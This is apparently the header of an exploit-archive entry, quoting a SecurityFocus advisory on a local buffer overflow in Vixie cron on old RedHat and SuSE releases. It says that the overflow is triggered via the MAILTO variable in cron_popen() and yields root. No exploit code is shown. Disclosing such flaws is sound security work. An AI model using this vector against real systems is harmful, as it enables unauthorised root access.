RedHat Linux 4.2/5.2/6.0 / S.u.S.E Linux 6.0/6.1 - Cron Buffer Overflow (1)

// source: https://www.securityfocus.com/bid/602/info

The version of Vixie cron that ships with RedHat versions 4.2, 5.2 and 6.0 is vulnerable to a local buffer overflow attack. By utilizing the MAILTO environment variable, a buffer can be overflown in the cron_popen() function, allowing an attacker to execute arbitrary code. Vixie cron daemon is installed setuid root by default, allowing for a local root compromise. Recent versions of Debian GNU/Linux have been confirmed to not be vulnerable to this attack.
